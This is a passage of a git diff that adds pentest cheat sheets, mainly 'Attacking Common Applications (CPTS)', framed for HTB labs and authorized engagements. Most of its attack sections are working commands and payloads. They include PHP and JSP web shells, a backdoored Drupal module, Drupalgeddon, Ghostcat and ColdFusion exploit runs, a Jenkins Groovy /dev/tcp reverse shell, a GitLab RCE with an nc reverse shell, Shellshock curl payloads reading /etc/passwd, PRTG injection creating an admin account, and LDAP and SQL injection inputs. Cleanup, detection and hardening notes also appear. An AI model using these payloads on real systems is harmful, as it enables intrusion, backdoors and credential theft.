WAR deploy says `FAIL` | Context already exists, wrong Manager role/path or malformed archive | Query `/manager/text/list`; choose a unique context; inspect WAR contents | - -### Fast request diagnostics - -```bash -# Show status, redirects, cookies and server headers -curl -vkI "$SHELL_URL" - -# Follow redirects while retaining a cookie jar -curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \ - --data-urlencode "cmd=id" - -# Confirm the listener is bound to the expected interface/port -ss -lntp | grep ":${LPORT}" -``` - ---- - -## Operational safety, detection & cleanup - -> [!warning]+ Control the assessment artifact -> - **Restrict access:** Laudanum `allowedIps` = your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell. -> - **Know the signature:** public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell. -> - **Assume requests are logged:** GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either. -> - **Clean up:** record every file you drop and `rm` it at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact *even when the payload is memory-resident meterpreter*. -> - **Don't submit to public VirusTotal** — it leaks the hash/signature to vendors and burns the payload. - -### Artifact ledger - -| Item | Record before use | Cleanup proof | -|---|---|---| -| Uploaded shell | Local/server filename, URL, SHA-256, owner/ACL | URL returns expected 404/denial; file absent | -| WAR/plugin/archive | Context or install name, deployment response, extracted paths | Undeploy/uninstall response; context no longer listed | -| Server config (`.htaccess`, handler mapping) | Original content/hash and exact change | Original restored; handler probe no longer executes | -| Reverse-shell helper | Destination path, listener port, process identity | File/process/socket absent | -| Test account or app setting | Original role/value and UTC time | Original role/value restored | - -```bash -# Hash before upload and keep the value with the engagement evidence. -sha256sum shell.php shell.war 2>/dev/null - -# Tomcat Manager: list, then undeploy the exact assessment context. -curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list" -curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell" -``` - -**Blue-team tells** (what defenders grep for, so you know what you're leaving): new files with recent mtime in upload dirs; PHP files containing `system|shell_exec|passthru|eval|base64_decode|assert`; short files in `/uploads`; unusual `Content-Type` on stored uploads; outbound connections from `www-data`/`apache`/`IIS APPPOOL`; access-log hits with `cmd=`/`?c=` query strings. Detection & prevention detail: 10 - Detection and Prevention. - ---- - -## Lessons Learned - -1. **Fingerprint before you craft.** The single most common failure is uploading the wrong language for the stack — a `.php` on IIS just serves as text. Probe with `7*7`. -2. **Filter bypasses are about *what's checked*.** Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the `Content-Type: image/gif` swap defeats the most common (client-supplied MIME trust) one. -3. **Upgrade fast.** A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (`wshx --revshell` / `revx`) and stabilise before doing real work. -4. **You are leaving files.** Track and remove every dropped shell; restrict it to your IP or behind a secret while it's live. -5. **Prebuilt shells are widely signatured.** Laudanum, Antak and weevely are reliable lab tools, but expect detection. Prefer a minimal, reviewable payload and retain its hash for the evidence record. - -## References - -1. [PayloadsAllTheThings — Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) -2. [Laudanum project](https://github.com/jbarcia/Web-Shells/tree/master/laudanum) -3. [Nishang · Antak Webshell](https://github.com/samratashok/nishang) -4. [weevely3](https://github.com/epinna/weevely3) -5. [WhiteWinterWolf PHP web shell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) -6. [tennc/webshell archive](https://github.com/tennc/webshell) -7. [OWASP — Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) -8. [PHP Manual — `system`](https://www.php.net/manual/en/function.system.php) -9. [Apache Tomcat 9 — Manager App How-To](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) diff --git a/src/content/sheets/pentest-workflow/attacking-common-applications.md b/src/content/sheets/pentest-workflow/attacking-common-applications.md @@ -0,0 +1,502 @@ +--- +title: "Attacking Common Applications (CPTS)" +description: "Attacking common web applications — WordPress, Tomcat, Jenkins, Splunk, GitLab and others — from fingerprinting through to RCE." +category: pentest-workflow +tags: ["exploitation", "web"] +tools: ["Nmap", "ffuf", "Gobuster", "Nuclei", "WPScan"] +difficulty: intermediate +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/02 - Attacking Common Applications - CPTS Cheat Sheet.md" +--- +# Attacking Common Applications — CPTS Cheat Sheet + +## Summary + +The off-the-shelf web apps you meet on nearly every internal network — **CMS** (WordPress, Joomla, Drupal), **servlet/app servers** (Tomcat, Jenkins), **infrastructure/monitoring** (Splunk, PRTG, osTicket, GitLab), plus **CGI/Shellshock, ColdFusion, IIS short-name disclosure, LDAP-backed logins, mass-assignment, and thick clients**. The pattern repeats: **fingerprint the app and exact version → reach the admin/management console (default creds, brute, or OSINT) → turn admin access into code execution** via a theme/plugin/template editor, a script console, a WAR/app upload, or a version-specific CVE. + +> [!danger]+ HTB-Only Boundary +> +> 1. Authorized engagements / labs only. Many chains here (Drupalgeddon, Ghostcat, ColdFusion RCE, GitLab ExifTool) are full unauth/auth RCE — destructive if misused. +> 2. Admin-console RCE (theme/plugin/script editors) **plants a live backdoor** — track every file and remove it. +> 3. `--api-token`, breach-data lookups, and OSINT touch third parties — stay in scope. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["Sweep web ports\n80,443,8000,8080,8180,8500,8888,10000"] --> B["Fingerprint app + version\n(headers, meta generator,\nCHANGELOG, favicon, /docs)"] + B --> C["Reach admin console\n(default creds / brute / OSINT)"] + C --> D{"RCE primitive"} + D --> E["Editor: theme/plugin/template/script"] + D --> F["Upload: WAR / plugin / custom app"] + D --> G["Version CVE"] + E --> H["Web/reverse shell"] + F --> H + G --> H +``` + +--- + +## 0 · Discovery & triage + +```bash +printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts + +sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list +sudo nmap --open -sV $IP + +# Screenshot the estate to triage fast +eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness +cat web_discovery.xml | ./aquatone -nmap +# modern equivalents: httpx -screenshot · gowitness · nuclei +``` + +> [!tip]+ Prioritise the odd vhosts +> +> Flag any host/vhost containing `dev / qa / acc / stage` — non-prod copies are patched last and log-in restrictions are looser. Fingerprint *before* attacking: never run a WordPress chain against Joomla, or MySQL syntax against MSSQL. + +--- + +## Application config & loot map + +After a foothold, inspect the application’s own configuration before launching a broad filesystem search. These files often reveal database credentials, signing secrets, service accounts, internal hostnames, and paths to further evidence. + +| Application | High-value locations | Likely findings | +|---|---|---| +| WordPress | Web root `wp-config.php` | DB name/user/password, salts, table prefix | +| Joomla | Web root `configuration.php` | DB credentials, mail settings, log/tmp paths | +| Drupal | `sites/default/settings.php`, `sites/*/services.yml` | DB URL, hashes/salts, trusted hosts | +| Tomcat | `$CATALINA_BASE/conf/{server.xml,tomcat-users.xml,context.xml}` | Manager roles, JNDI data sources, connector config | +| Jenkins | `$JENKINS_HOME/config.xml`, `credentials.xml`, `secrets/`, job `config.xml` files | Credential IDs/blobs, build secrets, agent keys, command history | +| Splunk | `$SPLUNK_HOME/etc/{system,apps}/*/local/*.conf` | Auth, deployment targets, scripted-input paths | +| GitLab Omnibus | `/etc/gitlab/gitlab.rb`, `/var/opt/gitlab/gitlab-rails/etc/secrets.yml` | External services, Rails secrets, storage paths | +| Windows/IIS apps | `web.config`, app directory, service registry key | Connection strings, appSettings, DLL/search paths | + +> [!warning]+ Handle as sensitive evidence +> Collect only what the engagement permits. Record the source path, owner/ACL, timestamp, and hash; do not paste live secrets into the note. Re-test recovered credentials deliberately against in-scope services. + +--- + +## 1 · WordPress — PHP, port 80 + +```bash +# Fingerprint: meta generator, robots.txt → wp-admin/wp-content, /wp-json, ?ver= +curl -s http://blog.inlanefreight.local | grep WordPress # <meta ... content="WordPress 5.8" /> +curl -s http://blog.inlanefreight.local/ | grep -E 'themes|plugins' +# plugin version in wp-content/plugins/<plugin>/readme.txt + +# Enumerate (API token = free 75 req/day) +sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN> +# --enumerate ap = all plugins · --enumerate u = users +# user-enum oracle: "invalid username" vs "incorrect password" + +# Brute force over XML-RPC (faster — many guesses per request) +sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local +``` + +**RCE — Theme Editor (admin ≈ RCE):** `Appearance → Theme Editor → an inactive theme (Twenty Nineteen) → 404.php`, add: +```php +system($_GET[0]); +``` +```bash +curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id +# Metasploit: exploit/unix/webapp/wp_admin_shell_upload (malicious plugin + PHP meterpreter) +``` + +**Unauth plugin bugs:** +```bash +# mail-masta LFI (unauthenticated include via pl=) +curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" + +# wpDiscuz unauth upload RCE — CVE-2020-24186 (client-side-only MIME check) +python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1 +curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id" +``` + +--- + +## 2 · Joomla — PHP/MySQL + +```bash +# Fingerprint: meta generator, /administrator/, README.txt, version XML +curl -s http://dev.inlanefreight.local/ | grep Joomla +curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - # <version>3.9.4</version> +# also plugins/system/cache/cache.xml ; whatweb + +# Enumerate +sudo pip3 install droopescan +droopescan scan joomla --url http://dev.inlanefreight.local/ + +# Brute admin (generic login error → target the known 'admin') +sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin +``` + +**RCE — Template editor:** `Configuration → Templates → protostar → Templates: Customise → error.php`: +```php +system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); +``` +```bash +curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id" +# CVE-2019-10945 — auth dir-traversal + file delete (core 1.5.0–3.9.4) +python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir / +``` + +--- + +## 3 · Drupal + +```bash +# Fingerprint: "Powered by Drupal", CHANGELOG.txt, /node/<id> +curl -s http://drupal.inlanefreight.local | grep Drupal +curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21 +droopescan scan drupal -u http://drupal.inlanefreight.local +``` + +**RCE — PHP Filter module (Drupal 7; disabled by default):** enable *PHP filter* → add a Basic page with Text format = *PHP code*: +```php +<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> +``` +```bash +curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id" +# Drupal 8+ removed it from core → install the module: +wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz # Reports > Available updates > Install new module +``` + +**RCE — backdoored module upload (Drupal 8+):** +```bash +wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz +# add shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?> +# add .htaccess re-enabling /modules access, then: +mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/ +# Manage → Extend → + Install new module → captcha.tar.gz +curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id" +``` + +**Drupalgeddon family:** +```bash +# CVE-2014-3704 · pre-auth SQLi, Drupal 7.0–7.31 → rogue admin +python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd # msf: multi/http/drupal_drupageddon + +# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1 +python3 drupalgeddon2.py +curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id + +# CVE-2018-7602 (Drupalgeddon3) · auth RCE — msf multi/http/drupal_drupageddon3 +# needs node-delete rights + a valid session cookie (set DRUPAL_SESSION, DRUPAL_NODE, VHOST) +``` + +--- + +## 4 · Tomcat — 8080/8180, AJP 8009 + +```bash +# Fingerprint + find the manager +curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30) +gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt +# creds live in conf/tomcat-users.xml (roles: manager-gui / manager-script / manager-jmx / manager-status) + +# Default creds: tomcat:tomcat admin:admin tomcat:s3cret tomcat:admin +# Brute: msf auxiliary/scanner/http/tomcat_mgr_login (set VHOST, RPORT 8180, stop_on_success true) +``` + +**RCE — WAR deploy (JSP web shell):** +```bash +wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp +zip -r backup.war cmd.jsp # Manager → deploy backup.war +curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id" +# reverse-shell WAR instead: +msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war # msf: multi/http/tomcat_mgr_upload +``` + +**Unauth / OS-specific CVEs:** +```bash +# Ghostcat — CVE-2020-1938 · unauth AJP LFI (< 9.0.31 / 8.5.51 / 7.0.100) +nmap -sV -p 8009,8080 app-dev.inlanefreight.local +python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml + +# CGI Servlet injection — CVE-2019-0232 (Windows only; & chains, URL-encode to bypass) +ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat +# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe (%3A=: %5C=\) +``` + +--- + +## 5 · Jenkins — 8080 (lab 8000), agent 5000 + +Runs as **SYSTEM** (Windows) / **root** (Linux). Check anonymous read/build first, then the Groovy **Script Console** at `/script`. + +```groovy +// Run a command +def cmd = 'id' +def sout = new StringBuffer(), serr = new StringBuffer() +def proc = cmd.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000) +println sout +``` +```groovy +// Linux reverse shell +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` +```groovy +// Windows command +def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}"); +``` +> CVE chain (patched by 2.303.1 LTS): **CVE-2018-1999002 + CVE-2019-1003000** — script-security sandbox bypass, pre-auth RCE on 2.137. + +--- + +## 6 · Splunk — web 8000, mgmt/REST 8089 + +```bash +sudo nmap -sV $IP # 8000 & 8089 = Splunkd httpd ; trial drops to unauth "Free" after 60 days +# Default/weak: admin:changeme (shown on login page), admin:Welcome1, admin:Password123 +``` + +**RCE — malicious custom app** (`splunk_shell/` with `bin/` + `default/`). `default/inputs.conf`: +```ini +[script://.\bin\run.bat] +disabled = 0 +sourcetype = shell +interval = 10 +``` +`bin/run.bat`: +```batch +@ECHO OFF +PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'" +Exit +``` +```bash +tar -cvzf updater.tar.gz splunk_shell/ && sudo nc -lnvp 443 +# Manage Apps → Install app from file → updater.tar.gz (shell as nt authority\system / root) +# Universal Forwarders lack Python → use the PowerShell/.bat variant, not the Python one +# Pivot: drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Forwarder +``` + +--- + +## 7 · PRTG Network Monitor — Windows, 8080 + +```bash +sudo nmap -sV -p- --open -T4 $IP +curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version +# "PRTG Network Monitor 17.3.33.2830" (< 18.2.39 = vulnerable) +# Default: prtgadmin:prtgadmin (often pre-filled) ; weak: prtgadmin:Password123 +``` + +**RCE — CVE-2018-9276** (authenticated command injection via a notification, blind): +`Setup → Account Settings → Notifications → Add → tick EXECUTE PROGRAM → Program File: `Demo exe notification - outfile.ps1`` with parameter: +```batch +test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add +``` +Save → **Test**, then confirm out-of-band: +```bash +sudo nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin [HTB: Netmon] +``` + +--- + +## 8 · osTicket — methodology / OSINT (no core CVE) + +Fingerprint by the `OSTSESSID` cookie and the "powered by osTicket" footer. + +- Submit a ticket → harvest the **company reply-to email** → self-register on portals that gate by email domain (Slack, GitLab, Mattermost, Rocket.Chat). +- Mine closed tickets for password resets / "standard new-joiner password" sent in plaintext; export the address book as a spraying user list. + +```bash +# Breach-data OSINT for reuse +sudo python3 dehashed.py -q inlanefreight.local -p # e.g. password : Fish1ng_s3ason! +# alternatives: HIBP, intelx.io, linkedin2username [HTB: Delivery] +``` + +--- + +## 9 · GitLab — Linux (lab 8081) + +```bash +# /explore lists public projects unauthenticated; version via /help after login +# Username enum via /users/sign_up ("Email has already been taken") — works even if sign-up is disabled +./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt +# lockout: 10 fails → 10-min auto-unlock +# Register hacker:Welcome1 → /explore for secrets, SSH keys, commit history, snippets +``` + +**RCE — GitLab CE ≤ 13.10.2** (authenticated, ExifTool metadata parsing): +```bash +python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \ + -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f ' +nc -lnvp 8443 # shell as git (uid 996) +# successor: CVE-2021-22205 — unauth ExifTool RCE on later versions +``` + +--- + +## 10 · CGI / Shellshock — Linux, `cgi-bin` (CVE-2014-6271) + +```bash +# Underlying-bug test (Bash ≤ 4.3) +env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable" + +# Discover a CGI script (-x cgi appends the extension; 200 w/ 0-length body still worth testing) +gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi +feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi + +# Exploit via User-Agent (also works in Referer / Cookie) +curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s '' http://$IP/cgi-bin/access.cgi + +# Reverse shell (as www-data) +curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://$IP/cgi-bin/access.cgi +sudo nc -lvnp 7777 +# patched Bash requires the BASH_FUNC_ prefix +``` + +--- + +## 11 · Thick Client Applications — Windows + +**Toolkit:** Ghidra, IDA, **dnSpyEx**/dnSpy, JADX, JD-GUI, de4dot, x64dbg, ProcMon, Frida, Wireshark/tcpdump, Burp. + +- **Hardcoded creds from memory** (Restart-Oracle-Service pattern): watch with ProcMon for a temp file in `%LOCALAPPDATA%\Temp`; on that folder disable inheritance + deny "Delete"/"Delete subfolders and files" so it can't self-clean, re-run to capture the dropped `.bat`, then decode the base64 dropper. Or dump from x64dbg: Memory Map → find an `-RW--` region with an `MZ` header (embedded PE) → **Dump Memory to File** → `strings64.exe dump.bin`; `de4dot` deobfuscates .NET, `dnSpy` decompiles to C#. +- **Client/server (Fatty pattern):** grep the client jar for the port, patch Spring `beans.xml`, strip SHA-256 digests + `.RSA`/`.SF` from `META-INF/MANIFEST.MF`, rebuild with `jar -cmf`. +```powershell +Select-String -Path fatty-client\* -Pattern "8000" -Recurse +``` +- **Path-traversal + SQLi in decompiled logic (JD-GUI):** patch `currentFolder = "configs"` → `".."` (server filters `/` but not `..`); the login query is unsanitised: +```text +Login username: qtc' UNION SELECT 1,'abc','a@a','abc','admin +Login password: abc +``` +Password is hashed client-side (`SHA-256(username+password+secret)`) → patch `setPassword()` to send plaintext so the UNION literal matches. + +--- + +## 12 · ColdFusion — Windows, port 8500, `.cfm`/`.cfc` + +```bash +# Fingerprint: 8500, /CFIDE/administrator/index.cfm, Server: ColdFusion +nmap -p- -sC -Pn $IP --open +searchsploit adobe coldfusion + +# CVE-2010-2861 · dir traversal (≤ 9.0.1) → leaks CF admin hash in password.properties +searchsploit -p 14641 && cp /usr/share/exploitdb/exploits/multiple/remote/14641.py . +python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties" + +# CVE-2009-2265 · unauth FCKeditor upload RCE (≤ 8.0.1) → shell as CF service account +searchsploit -p 50057 && cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py . +python3 50057.py # set lhost/lport/rhost/rport inside; uploads JSP, triggers, self-cleans +``` + +--- + +## 13 · IIS Tilde (8.3 short-name) Enumeration — Windows/IIS + +```bash +nmap -p- -sV -sC --open $IP # Microsoft IIS httpd 7.5 + +# Scanner (needs Oracle Java) — reveals ~1 short names (ASPNET~1, TRANSF~1.ASP, CSASPX~1.CS) +java -jar iis_shortname_scanner.jar 0 5 http://$IP/ + +# Build a wordlist from the recovered prefix, then recover the full name +egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt +gobuster dir -u http://$IP/ -w /tmp/list.txt -x .aspx,.asp +# tool: github.com/irsdl/IIS-ShortName-Scanner [HTB: Bounty] +``` + +--- + +## 14 · LDAP Injection & Web Mass Assignment + +```bash +# Direct LDAP query (389 / LDAPS 636) +ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \ + -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)" + +# Fingerprint an LDAP-backed login +nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 OpenLDAP alongside the web app +``` + +**LDAP injection auth bypass** — special chars `* ( ) & |`: +```text +Username: * +Password: * +# → (&(objectClass=user)(sAMAccountName=*)(userPassword=*)) matches any user +``` + +**Mass assignment** — an unlisted field (`confirmed`, `admin`, `role`) is bound straight into the insert. Add it to the request body in Burp: +```http +POST /register +username=new&password=test&confirmed=test +# Rails equivalent: add "admin: true" to the user hash (defeats weak attr_accessible) +``` + +--- + +## Honourable mentions & hardening + +| App | Abuse / default creds | +|---|---| +| **Axis2** | On Tomcat; default admin → upload web shell as `.AAR` (msf module exists) | +| **WebSphere** | Default `system:manager` → deploy WAR for RCE | +| **Elasticsearch** | Unauth instances + multiple CVEs [HTB: Haystack] | +| **Zabbix** | SQLi, auth bypass, LDAP pw disclosure, API-abuse RCE [HTB: Zipper] | +| **Nagios** | Default `nagiosadmin:PASSW0RD`; RCE + root privesc | +| **WebLogic** | 190+ CVEs, many unauth RCE (Java deserialization) | +| **DotNetNuke** | Auth bypass, dir traversal, file-upload bypass | +| **vCenter** | **CVE-2021-22005** unauth OVA-upload RCE; often SYSTEM/domain admin | + +**Hardening quick ref:** disable in-browser PHP editing (WP Theme Editor, Drupal PHP Filter); WP → WordFence + MFA; Tomcat → restrict Manager to localhost/IP-whitelist; Jenkins → Matrix Authorization; Splunk/PRTG → change defaults + patch; GitLab → sign-up restrictions. WAF is defence-in-depth only. + +--- + +## Evidence & cleanup checklist + +- [ ] Save the exact URL, virtual host, product/version evidence, account context, and request or console action. +- [ ] Hash every uploaded WAR, plugin, module, script, or executable and record its destination path. +- [ ] Record configuration changes: enabled script consoles, notification actions, themes/plugins, tasks, and created users. +- [ ] Remove uploaded payloads and temporary users; restore edited files/settings from a known baseline. +- [ ] Re-request the affected route and check the filesystem/process list to confirm the backdoor no longer exists. +- [ ] Move recovered hosts, users, and credentials into the scoped target matrix; keep actual secrets in protected storage. + +--- + +## Quick CVE index + +| CVE | App | Type | Tool / Module | +|---|---|---|---| +| CVE-2020-24186 | WP wpDiscuz | unauth upload RCE | `wp_discuz.py` | +| CVE-2019-10945 | Joomla 1.5.0–3.9.4 | auth traversal + delete | `joomla_dir_trav.py` | +| CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi (Drupalgeddon) | `drupalgeddon.py` | +| CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` | +| CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` | +| CVE-2020-1938 | Tomcat <9.0.31 | unauth AJP LFI (Ghostcat) | `tomcat-ajp.lfi.py` | +| CVE-2019-0232 | Tomcat (Win CGI) | command injection | ffuf + URL-encoded query | +| CVE-2019-1003000 (+2018-1999002) | Jenkins 2.137 | pre-auth RCE | Script Console | +| CVE-2018-9276 | PRTG <18.2.39 | auth command injection | Notification "Execute Program" | +| CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor) | +| — | GitLab CE ≤13.10.2 | auth RCE | `gitlab_13_10_2_rce.py` | +| CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` | +| CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → hash leak | `14641.py` | +| CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` | +| CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — | + +**Default creds:** Tomcat `tomcat:tomcat`/`tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`. +**Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins agent 5000 · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab lab 8081 · LDAP 389/636. + +--- + +## Lessons Learned + +1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the meta generator, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash before choosing an exploit. +2. **Admin console = RCE.** WordPress/Joomla/Drupal editors, the Jenkins Script Console, and Tomcat Manager all turn "I'm logged in as admin" into code execution — default creds and a short spray get you there more often than a CVE. +3. **Upload = plant a backdoor.** WAR/plugin/custom-app uploads leave a live shell on disk; note the path and remove it at cleanup. +4. **Apps hold creds for other systems.** Config files, connection strings (thick clients, ELF/DLL reversing), and osTicket/GitLab secrets feed straight into service attacks and lateral movement — always test recovered creds for reuse. +5. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest. + +## References + +1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113) +2. [WPScan](https://github.com/wpscanteam/wpscan) · [droopescan](https://github.com/SamJoan/droopescan) +3. [tennc/webshell (JSP cmd.jsp)](https://github.com/tennc/webshell) +4. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) +5. [WordPress Developer Resources — Editing wp-config.php](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/) +6. [Jenkins — System Configuration](https://www.jenkins.io/doc/book/managing/system-configuration/) +7. [PayloadsAllTheThings — CMS / app attack notes](https://github.com/swisskyrepo/PayloadsAllTheThings) diff --git a/src/content/sheets/pentest-workflow/attacking-common-services.md b/src/content/sheets/pentest-workflow/attacking-common-services.md @@ -0,0 +1,403 @@ +--- +title: "Attacking Common Services (CPTS)" +description: "Attacking common network services — FTP, SMB, SQL, RDP, DNS, email and more — from enumeration to authentication attacks and exploitation." +category: pentest-workflow +tags: ["exploitation", "enumeration", "password-attacks"] +tools: ["Nmap", "Nuclei", "smbmap", "NetExec", "Impacket"] +difficulty: intermediate +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/01 - Attacking Common Services - CPTS Cheat Sheet.md" +--- +# Attacking Common Services — CPTS Cheat Sheet + +## Summary + +The reusable playbook for the services that dominate internal and perimeter networks: **FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP)**. The method is the same for every protocol — enumerate, try anonymous/default/reused credentials, spray, then exploit a misconfiguration or CVE — framed by the module's **Source → Process → Privileges → Destination** model. Misconfigurations (default creds, anonymous auth, over-privileged accounts, unnecessary defaults) land more boxes than memory-corruption bugs, so they come first. + +> [!danger]+ HTB-Only Boundary +> +> 1. Authorized engagements / labs only. Password spraying, relaying, and RDP RCE (**BlueKeep can BSOD the target**) all affect availability — get sign-off. +> 2. Spray with lockout awareness: **one password across all users**, watch the domain lockout policy, never a full wordlist per account on a live AD. +> 3. Record every credential as sensitive evidence; don't paste secrets into permanent notes. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["Enumerate\n(nmap -sC -sV)"] --> B["Anonymous / null\naccess?"] + B --> C["Default creds\n→ weak combos"] + C --> D["Reuse anything found\n(even a filename)\nacross every service"] + D --> E["Spray / brute\n(lockout-aware)"] + E --> F["Exploit misconfig / CVE\n→ RCE or creds"] + F --> G["Loot → feed\ncredential hunting"] +``` + +--- + +## Methodology — the model behind every service + +> [!info]+ Concept of Attacks · Source → Process → Privileges → Destination +> - **Source** — where input enters: user input, config, libraries, APIs, a header (Log4j **CVE-2021-44228** rode a JNDI string in `User-Agent`). +> - **Process** — the logic handling that 